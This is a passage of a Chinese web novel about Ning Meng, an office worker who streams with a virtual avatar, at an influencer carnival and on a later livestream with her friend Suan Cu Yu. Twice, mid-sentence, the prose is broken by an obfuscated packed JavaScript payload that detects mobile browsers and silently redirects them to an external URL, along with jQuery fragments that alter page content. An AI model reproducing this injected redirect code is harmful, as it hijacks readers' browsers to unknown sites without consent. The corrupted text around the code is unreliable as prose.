宁檬刚准备夸他今天很有气质，很帅的话鲠在喉咙里，有点不是太想说出来了怎么办。 “哇塞，怪鸦你好帅，我能和你合照吗？” 宁檬没说出来的话，都被宁佳琪用最直白的方式全盘托出，夸得怪鸦嘴角咧得根本压不住。 怪鸦摆摆手，没做同意，约定了嘉年华结束后再拍，他们这些人还讲究起来保密了呢…… 宁檬在心里偷偷吐槽刚到一半，自己的名字猝不及防被叫，嘴巴比脑子更先反应过来，后悔的时候手里已经被塞好了手机。 “大摄影师，接下来的作品库存，可就要有劳了！” 眼前，两个人结伴走在前面领路，宁佳琪紧跟在后面，时不时还回头确定自己姐姐是否有跟上，简直就是化身贴身小棉袄，不过不是宁檬的。 本着不浪费任何一次妆造，也不浪费任何一个苦力的原则，宁檬又是拍照，又是录像，偶尔还要亲自上手指点摆动作，仿佛是又找了个班来上。 一方小楼梯间也能被拍出花来，真不愧是一生为库存，为出图的颜值主播们。 好不容易刚要结束，楼梯间的门没有一点征兆地被推开，张毛毛的帅脸率先出现在视野中，紧随其后的还有另一张没有瑕疵的美貌。 “柠檬，抬头！” 17. 热度 他们这些人就爱搞突然袭击，小可可从进来就拿着拍立得，第一时间锁定宁檬的镜头，不给任何拒绝的机会，闪光灯直接闪过。 不太宽敞的楼梯间，和不大的拍立得镜头里，宁檬一只手拿着手机，刘海随意地散在耳旁，茫然抬起的眼神活像一只被骗来的小白兔，而她身后台阶上站着的人居高临下，眼神微微垂下，视线只在一人身上。 这张逐渐显像的拍立得照片，把粉丝二创里惯用的“狼狗塑”词语具象化了。 小可可特别满意自己拍的这张拍立得，边欣赏边自我赞美，“这哪里像一点不吃亏的老狐狸，分明是小白兔好吧。” 听她这么说，张毛毛直接顺手抢过还没完全显影的拍立得，和小可可一般无二的表情与评价。 宁檬倒是懒得说什么，她自带神秘色彩，这群互联网朋友谁见了她都这幅死样子，对比之下，也就酸醋余第一次见面表现的淡定，让她印象深刻到现在。 朋友呐，还能怎么办，宠着呗。 狭窄的楼梯间里又开始新一轮的作品库存大作战，这次和刚刚不同，小可可托助理带来了一身衣服，不算出众，但也起码不至于太过休闲。 在她生磨硬泡，以及表妹的双重劝说下，宁檬不太情愿被领去换了身衣服，简单梳个发型，再次来充当视频作品里的随机刷新的不露脸NPC。 “暴殄天物啊，柠檬，我说真的，别上班了，来我这里吧，我来给你规划一条千万粉丝大网红道路，不要浪费你这超绝腰身比行不行？？！” 和当初的怪鸦一个样子，两人都立志想把柠檬拐走进到他们这个行业，哪里还顾得上所谓的抢饭碗分蛋糕之说。 最后一个库存视频，酸醋余作为主镜人，仗着帅哥美女齐聚，拍了他想了很久的梦幻转场。 万事俱备，只欠东风，就只差后期的特效和慢速剪辑处理了。 因为拍视频的缘故，在出场前，他们就没和其他主播朋友碰上照面，直接开始出场秀。 作为意外到场出现的人，宁檬最开始是想找个地方看看实时直播的，可是耐不住宁佳琪想看现场，愣是被拽着一起找个位置陪她。 每次这种时候，宁檬都忍不住感慨，网红这行业果然参差不齐，摘掉直播的美颜镜头后，也不是所有人都能扛得住高清直拍镜头的。 陆续出场的网红主播也是有颜值不太行的嘛，当然也可能只是不在宁檬的审美点上。 相比起宁檬，宁佳琪才是真真实实的大胆开麦，每出来一个主播，她就会小声悄悄的做出评价，很多时候她的评价宁檬还是很赞同的，尤其是针对那些粉底涂了一层又一层，结果还不如酸醋余素颜的那些大小主播。 在酸醋余的视角里，这边的两个女生，一个嘴皮子没有消停过，一个脑袋瓜时不时就点两下，偶尔吧，还可能接上一两句话茬互动。 这场嘉年华持续时间还挺久，平台网红主播多，邀请的名单相应也多，光是出场，签名，拍照下来就花了很久。 虽然这场人民币网红主播参差不齐，但到底还是让人大饱眼福的，属于眼睛的第一视觉需求都达到平时到不了的标准线。 宁檬半张着嘴巴打呵欠，看一眼旁边的宁佳琪，果真是年轻吗，学生时代还真是用不完的活力和精气，竟然还在关注其他人。 流程很快就到颁奖的环节，陆陆续续上台被叫到名字的主播有不少是挺多的，关注列表里可能还有互关，每个人都仿佛春日里争艳开放的春花，各有各的姿色，让人目不暇接。 颁奖一结束，酸醋余就把所谓的奖杯塞到助理怀里，转头就往外面大步走去，不带一丝半点的犹豫，任由怪鸦怎么叫都不回头看一下。 宁檬察觉到身边有人来，下意识抬头对上眼神，里面还有没有完全回神的茫然，“刚刚在台上很帅，比怪鸦大少爷还要帅一点那种帅。” 托酸醋余的福，看她与他聊得那么熟络，身旁还带着个明显年龄不大的女生，他们这个圈子里少不得八卦。 两个人闲聊没一会儿，里面其他几个人也陆续出现，基本都是面熟的，但是在他们的视角看宁檬就不是这样了。 作为二次元皮套之下的人，宁檬也只是和酸醋余他们三人，外加一个小可可见过面，其他人都只是有想法，但是还没有机会。 在一睹真容的名单里，可乐是第二位女主播，和小可可两个人一前一后并排出现。 女性对美貌似乎都有雷达的自动定位系统功能，视线投向最集中的人堆时直接就落在宁檬身上，抓人眼球的颜值让人没办法放开眼睛。 可乐还没有想好独属于自己的打招呼方式，人的叫喊声就已经传出来，吸引所有人的目光转移集中到她身上。 “我靠，你知道吗，我刚刚看到你第一眼的时候满脑子里真的就只剩下这个词，人啊，在极度惊讶和感慨的时候果然还是只有国粹最能表达这种心情”，可乐围着宁檬转悠，嘴里絮絮叨叨不停，直接把周围的其他男生扒拉开，省得碍了自己欣赏的视野，“你真的才更应该吃颜值主播这口饭，这不比网上那些已经塌房的人好看好多倍。” 夸赞的话语不停输出，向宁檬砸来，好在宁檬人还清醒，没有被这波强势输出真的砸昏了头。 “我社恐，不适合的，偶尔来网上发发疯就足够了”，宁檬对自己的定位很清楚，主副业也分得清主次，“再说了，我还有工作呢，露脸直播万一真被哪个老几刷到了，我以后还不成了整个办公室的闲聊的内容，想想都吓人，还是别了别了。” “还有更主要的，我在网上蛐蛐的人，那以后不都得直接实名了，这不合适，不合适……” 停顿稍片刻，一连几个不合适说出来，其他几个人纷纷点头表示赞同，更重要的一点是，宁檬在他们这些人中只是刚刚稍有起色，不靠敏感的擦边舞蹈形式，不靠唱歌才艺挽留大哥大姐，对比之下，如果贸贸然就真的只专注直播行业，的确是有些孤注一掷，不考虑事情后果了。 他们各个人精，这个话题都没有继续延续下去，只当是为了夸赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472227|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长相的一种对比感叹。 在离开场馆之前，一行人路过一处旋转台阶，出片的绝佳地点，可乐第一时间招呼着宁檬停下来，两个人站定在原地，看着那处台阶说着自己的看法和主意。 至于后面几个也紧跟着停下来的人嘛，他们就只需要配合就ok了，充当视频作品里的花瓶绰绰有余。 “去吧，我的技术包你们满意”，宁檬拿着可乐专门带过来的相机，冲着这几位帅哥美女招手示意。 旋转的楼梯，盛装打扮出现在镜头中的帅哥美女，交叉错落的站位，这分明就是小说里那有钱人家的少爷小姐的朋友圈纪念照，随便单拎出来都是出众养眼的相貌，明晃晃的颜值盛宴。 宁檬从镜头里看到每个人姣好的长相，和最上镜的一面，嘴角也跟着上扬。 人在看到美丽的人或事物时，心情果然也是会跟着变得美丽的。 现在宁檬的身上哪里还有班味在，整个人也因为拿到相机的瞬间变得更加自信，更加吸引人。 就在所有人都以为视频就要录好的时候，宁檬忽然感觉到身后有人出现，完全没有反应的机会，相机已经出现在宁佳琪手中，她单手轻推一下宁檬后背，而她也故意向后退上几步。 相机镜头里正好能够捕捉到宁檬的背影，和她的动作同时发生变化的，还有可乐朝着前面招手，小可可左右招呼着其他人配合欢迎的动作。 一幕“众神等待着最后一位神明归位”的画面出现。 宁檬接收到可乐两个女生的眼神，嘴角无奈露笑，迈着大步向台阶上走去，左右是不会露脸的，配合拍视频反正也不是第一次了。 配合拍视频这种事情，有一就会有二，就像张毛毛的粉丝说的，他的女装是有0次和无数次。 这次没有计划的意外见面不像上一次在直播里经常会提到，激起各种水花和话题。 促成这次见面的罪魁祸首——宁佳琪，也真的如在回家前的的承诺一般，没有再和家里人胡闹，当然也有很大一部分原因是因为如愿得到不少她想要的周边，以及知道自己表姐背后马甲的激动。 嘉年华过去几天时间，宁檬也开始进入真正的闲暇时间，没有什么临时加进来的工作和修改，每天更多的是在查漏和摸鱼，晚上闲来直播的时间便开始准时。 周五下班时间，宁檬照例运动，洗澡，收拾书桌，摆好一会儿需要用到的各种东西。 开始直播的时间还没有到，索性先刷几个视频看一看，刚一打开软件，弹出来的第一条视频就是一个好几个人的共创，看点赞和评论数不是一般的高。 在没有点开热搜榜单之前，光是看数据体量就猜得出来，大概率也是在那上面的，相关搜索栏都已经出现了“热”词。 再看一遍还是忍不住感叹，这几个人颜值真是太抓人眼球了，根本移不开视线。 点赞，评论，推荐，一口气全部安排。 在评论区里划拉翻看评论，一条评论稳居最上，讨论和点赞也是遥遥领先。 18. 初见 ［明明是六个人，为什么是五个人的共创，所以最后出现的是谁？！］ 这就好像，人在看小说或者追剧过程里，面对关系线最开始就明确的主角，总会更期待找到配角的更多故事和线索线。 这条评论下面猜什么的都有，把平时这几人圈子里的共同好友都猜了个遍，意外的评论柠檬的那条点赞更多。 “不是，一个背影而已，别这么较真啊——” 宁檬虽然嘴上否认吐槽，内心里多少还是有些佩服的，一个背影就能分析得如此头头是道，说得也十分在理让人没办法反驳。 忙活完自己的事情，正好时间也差不多到九点开播的时间，宁檬拿过手边的杯子喝口水做准备工作。 果不其然，和上次开播一样，不少人涌进来试图八卦得到消失的第六个共创人的身份。 宁檬在直播间里扯东扯西，就是不从正面回答她们的问题，偶尔其中划过几条猜得还挺对的弹幕，也没有人理睬，只是划过去后石沉大海。 在直播间里闲聊有十几分钟，正想着要不就顺着粉丝的话应了承认吧，这么想着还没来得及说出，电脑右下角就已经弹出连线申请，还真是时候。 酸醋余带着他今天专门做的造型进到直播间里，头上顶着一个发箍，看起来像是小狗耳朵，顺毛，淡妆，真有些阳光小狗既视感。 宁檬看着他有点傻乐，“帅哥，今天这么嫩？” 这种明显夹杂着调侃打趣的话，要是面对面，宁檬是绝对说不出口的，但是在网上隔着皮套，她放开了玩，完全不怕被人看到那之后偶尔会泛起羞涩的神情。 做他们这一行主打的就是一个厚脸皮，酸醋余在这里早就被锻炼成老油条，这点功底的话还不至于承受不住。 “走着，哥带你出去玩，认识个有意思的新朋友，带你去破圈”，酸醋余从直播连线开始就没有好好地坐着不动过，整个人半蹲在椅子上，脸上掩不住的蠢蠢欲动，宁檬单是在镜头面前看椅子晃动不止，就已经禁不住担心会不会翻过去。 他还真是个闲不住的主儿，不吃下亏是不可能长记性的。 宁檬点点头应下，她在这里的朋友一大部分都是经过酸醋余结识的，跟着他出去玩倒是认识不少朋友，那段低谷时期确实是因为他的出现调整好很多。 “先说好，我可没分，我今天是来摸鱼的”，宁檬笑着摇头，鼠标在电脑上简单操作几下，是她现拍的桌面图片，上面还摆着几张A4纸，马赛克之下不难看到有写字的痕迹。 酸醋余意味深长地抿下嘴，双眼微微眯起，“你怎么上班摸鱼，回家还摸鱼啊，还想不想赚大钱了，嗯？” “想，但是更想先富带动后富，去抱朋友们的大腿。” 说这话时，宁檬甚至都没有抬头，但是也不妨碍看到她偷笑的小表情。 她这句话没少引起直播间粉丝的共情，纷纷表示同一个世界同一个梦想。 “哎，他没接受我的连线，我去看看他在干嘛”，酸醋余也没有再和宁檬一起耍贫嘴，键盘声应声响起。 在网络直播这个行业领域，宁檬就属于那底层小主播中的一个小虾米——完全不值得一提的定位。 宁檬晚上的连麦pk基本就是随着酸醋余，抱紧大腿，总不会吃什么亏。 今天晚上也是稀奇，跟着酸醋余打pk还能输，这新认识的小众圈子主播实力不容小觑。 圈子小众，富婆大哥却不小众。 宁檬默默点进去同样和自己一样的两个皮套主播主页，粉丝数是酸醋余的零头翻一倍，打出来的pk分数值能和酸醋余的不相上下，最后还能偷塔略胜一筹。 主播ID：M·咕咕 主页介绍：工地@星空厅，每日直播晚21:00开始，小助理@xxx…… 语音厅这么多富婆大姐的吗？ 宁檬仿佛打开新视野，看着新朋友的主页愣是好半天才接受这个吓人且扎心的现实。 她每天准时准点，风雨无阻去上班八小时，然后突然间发现他们就只需要坐在电脑前唱一唱歌，直播唠唠嗑，制造些节目效果，就能有这么多人买账，上分，用真金白银砸出来pk胜利。 这种认知的对比之下，宁檬开始怀疑她上这么多年学到底图什么，钱吧，没别人赚得多，而且还没别人赚得快；时间吧，也没别人自由，想什么时候不直播不唱歌，就可以什么时候出去玩。 宁檬双手撑着脑袋，努力修复自己的有些岌岌可危的世界观和认知，没什么表情地听另外三人的对话。 脆弱的三观认知已经在这场意外的pk中被刷新，让宁檬频频盯着每个人的最后总结得分看。 之前刚认识酸醋余他们这个圈子时，她只是感慨互联网上的钱比上班工作赚得轻松容易，而现在她是真的被狠狠刺激了，在今天之前，她还是太孤陋寡闻了。 眼红心痛之余，宁檬的回神是被酸醋余的叫声提醒，是让她先来个自我介绍，给她介绍有钱有“颜”的新朋友呢。 “嗯——我是上网发疯主播，不会唱歌，至于跳舞，你们肯定也看到了，我和你们一样是虚拟皮套主播，有动捕但也不是什么高级的动捕，没办法跳。” 开头一段自我介绍的精神状态就十分美丽，愣是听得在场的三人都呆滞附笑，没有人能猜到是这么一出精彩的措辞。 哪怕是最为熟悉宁檬的酸醋余，也跟着傻乐好半会儿，看来她最近工作上又帮她加重了精神病情，更加放飞自我了。 想来也对，任谁天天加班到八九点，休息日也要被迫跟着内卷同事继续加班，这就算了，工资也没见得涨，甚至年终奖都还只存在于邮件的口头时间上，这些落在其他人头上，估摸着精神也会和她一个死样儿了。 酸醋余眉头开始舒展，看着那个熟悉的皮套，脑子里已经自动浮现皮套之后的相貌，准备张口解释帮着找补。 话还没来得及说出口，已经被人先于他拦截了话头，就着开始聊起。 “我知道你，你……你说话很……有水平”，其中一个主播说话，宁檬视线在他们两个人的皮套里徘徊，试图分清楚谁在说话。 也就是稍稍遛一下神，结果就是怎么也分不清是谁在说话，只能得到的结论是，他们不愧是做声音这方面的主播，声音一个赛一个好听，情商都不错，也是难为人家，她在网上发疯时说的话还要专门想用词形容，挺不容易的。 pk输掉的惩罚也没有什么太过分的，都是些轻松能做到，且很体面的方式，这便是他们首次破圈结交新朋友的互相留面了。 在最后结束，两个唱歌主播也很大气地一人唱了半首歌，都是最近平台里很火的歌。 听他们唱歌，让宁檬不由自主地想到更多的是学生时期去KTV里听那些会唱歌的人的歌声，比她那不准的五音可好太多了，每次都让人眼红生羡。 “唱得真不错啊”，连麦已经断开，宁檬的感叹和夸赞声还在持续，听得酸醋余直微眯起双眼，眼神里更是不友好味十足。 同样是唱歌主播，他平时虽然跳开场舞是多了点，但好歹最开始的饭碗还是一直都在的，怎么也没见被这么念叨着夸过。 到后面，酸醋余干脆不拿正眼瞧她，连平时惯会捧场接话也不乐意了，两场连麦下来，在2v2的PK中，他第一时间选择“一二罚三四”的方式。 对于他异样的举动，宁檬在第一场连麦里就有所察觉，回想下来不难猜到这背后的原因。 宁檬努力嘬着嘴角，尽量不让自己笑得太明显，好不容易耗着时间差不多到自己预计的下播时间，看酸醋余那别扭的怪样子，终于忍不住也对着他一通夸赞输出。 “余大帅哥，给我唱首歌呗，突然想听我和你第一次认识时你唱的那首歌，你的代表作，超好听的”，宁檬双手撑在下巴的位置，声音放柔很多。 经由耳机传到耳中，酸醋余胸口没来由地猛然跳动一下，明明就是很普通的一句开玩笑的话，但总感觉好像飘飘的，掺着一股柔劲儿在其中。 和宁檬的初次相识时候唱的歌，酸醋余每次想起那次，双眼就会不由自主地泄露柔情，嘴角不经意间扬起弧度，看得人也跟着软和下来。 和酸醋余一样，宁檬也对那天印象很深刻，所以在那之后的很多次里总会回忆起他唱的歌，有一段时间在工作时特意设置了单曲循环来听。 包括但不仅仅限于，微信语音电话铃声，手机铃声等等，不过闹钟不包含其中，因为太过平和柔情的歌不适合叫醒服务，她怕自己再倒头就睡过去。 两人都短暂地陷入这段回忆里，紧接着相视一笑，顺着聊下去。 “等下次见面当面唱给你听。” 配合他那副表情和颜值，更加的蛊惑人。 宁檬佯装出一副不情愿小生气的神情，“不想唱就直说，当面唱还是别了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479261|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我脸皮薄，容易害羞，害羞就会脸红，脸红就会不好看，不好看我就会掉包袱了。” 一连串的因果递进关系被她提溜吐出来，肢体动作上各种手舞足蹈，让人不能确定她是真害羞还是装出来的害羞。 “嗯？脸红？你还会脸红的吗？”酸醋余下意识反问过去，像宁檬那样性格的人真的会脸红吗，问题脱口而出，脑子紧随其后得出答案。 像她那样的性格，的确会脸红的吧。 酸醋余是真的觉得，镜头前和镜头后，他们这一行的朋友圈里柠檬一定是最反差的TOP1。 “好呗，谁让你是我最好的互联网妹妹呢，就宠你，给你唱。” 酸醋余嬉皮笑脸地转移了话题，眼底里藏着轻易不被察觉的心疼在其中。 对于柠檬这个人的看法，他一直觉得挺矛盾的。 在直播间里，她仿佛什么都没关系，百无禁忌的样子，而在三次里真实见到时，似乎也是如此，可当她回归到晚上的单独时间，眼里的落寞和孤寂便会在一瞬间都奔涌而现。 因为见过她不一样的时候，就会不由自主地出现不同往日的情绪。 不一样的她，只有他见过。 「我想要莫奈花园的一束阳光 我期待书桌上的一颗水果糖 我喜欢发呆看窗台时的时光流浪 我喜欢慢慢走不追赶的匆忙 和心里哼不成调的小乐章」 慢悠悠的韵律节奏飘扬在两个直播间里，连弹幕也在跟着慢慢摇摆，小表情，音符和糖果都在弹幕里随机出现，洒落。 宁檬嘴角挂笑，眼底闪烁，在直播间里轻轻摇晃，看着沉浸高歌状态中的酸醋余，眯着眼睛再也收不住了笑。 在下班之后听到这样一首免费的慢调曲，还是带着些不同意义的歌曲，简直就是她生活里的难得享受的几个瞬间之一。 一曲结束之后，宁檬和酸醋余断开连线，开始她每天和粉丝的碎碎念吐槽环节。 她和粉丝之间就像是互联网上相互双向奔赴的难兄难弟，难姊难妹，倾听和倾诉同时进行，宁檬会安慰直播间的互联网朋友生活中的不顺心，反过来，她们也会听宁檬吐槽工作和生活上的奇葩事。 就像今天，宁檬偶然得知的事情，同组的同事给她发消息闲聊说起，那个讨厌的隔壁组主管，因为两个项目组在工作内容上很多交叉，所以两个组的组员就会相互借调工作。 同事说，下半年的项目安排已经出来了，看样子加班又是不可避免的，而且再去两个组一起工作也是绝对的。 两个人在微信里猛猛吐槽，连带着上一年的加班，越说越气，到最后心情都忿忿不平。 ［游戏大王］：对对对！这种上司真的最讨厌了，明明是他自己估错了时间，却要员工一起为他买单！！！ ［陈脏脏最干净］：不能不去她们组吗，本来就不归他管，有本事继续招新人啊，神经主管。 ［鱼仔（见过酸醋余版）］：真无语这人，他自己的问题难道不能去和老板协商的吗，压榨手下的人算什么本事。 ［小乐想休假］：大胆猜测一下，这个主管事那么多，肯定有在大厂工作经验，pua话术都一套一套的。 ［cp糖果脑袋］：顶楼上，我敢百分百肯定，他就是大厂跳槽来的，带了一堆大厂的糟粕出来，不是发工资的大老板非要做出资本家的架势，恶心！ …… 直播间同为打工人身份的大家都开始感同身受，并对这种行为大大地表示不满和愤慨。 看得出来在资本家的手下干活，每个人都有说不完的怨气，宁檬滑着鼠标看评论，最后想到很早之前看过的剧，也是近些年很火的一个梗，拿来总结。 “看来邪剑仙还是生错了年代，我这一个直播间的怨气，他一个人都不一定能吸完吧。” 宁檬和直播间的大家调侃好几句，没多会儿就巧妙地把话题转移到其他方面。 负能量可以吐槽，但不能散播，工作上的事宁檬一向是偶尔吐槽，更多的是唠其他有的没的。 就像现在，话题跳跃飞快，已经连续好几个话题过去，最后落在了自我调侃上面。 说起来，她这周也是既倒霉又幸运的，也不是什么秘密事，就随便拿出来给大家分享。 果然是人衰起来，也会得到同样霉运人的共情，又是一通弹幕激情发言进行时。